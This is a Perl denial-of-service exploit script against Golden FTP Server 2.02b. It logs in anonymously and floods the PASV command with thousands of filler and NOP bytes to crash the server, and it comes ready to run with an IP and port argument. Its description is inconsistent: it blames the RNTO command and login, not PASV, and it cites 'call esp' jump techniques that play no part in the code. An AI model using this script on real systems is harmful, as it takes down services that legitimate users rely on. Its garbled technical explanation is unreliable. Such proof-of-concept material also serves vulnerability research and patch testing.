#!/usr/bin/perl use IO::Socket::INET; # Exploit Title: Golden FTP Server 2.02b - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 21 january 2024 # Vendor Homepage: N/A # Download to demo: https://drive.google.com/file/d/1AK6x0xKwjVZxoNHbCOIJsIiRAWeMmP_0/view?usp=sharing # Notification vendor: No reported # Tested Version: Golden FTP Server 2.02b - Denial of Service (DoS) # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The FTP server does not correctly handle the amount of data or bytes sent to command RNTO. #When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; print "[+] Connecting to $ip:$port\n"; my $s = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "Could not connect to $host:$port\n"; $s->send("USER anon\r\n"); my $response = <$s>; print $response; $s->send("PASS anon\r\n"); $response = <$s>; print $response; $s->send("SYST\r\n"); $response = <$s>; print $response; sleep(2); $s->send("PASV " . "\x41"x6631 . "\r\n"); sleep(3); $response = <$s>; print $response; $response = <$s>; print $response; print ">>> Sending second payload\n"; $s->send("PASV " . "\x90"x123 . "\x90"x2877 . "\r\n"); $response = <$s>; print $response; sleep(2); print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print q { ,--, _ ___/ /\| ,;'( )__, ) ~ // // '--; ' \ | ^ ^ ^ [+] Golden FTP Server 2.02b - Denied of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: [email protected] } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } }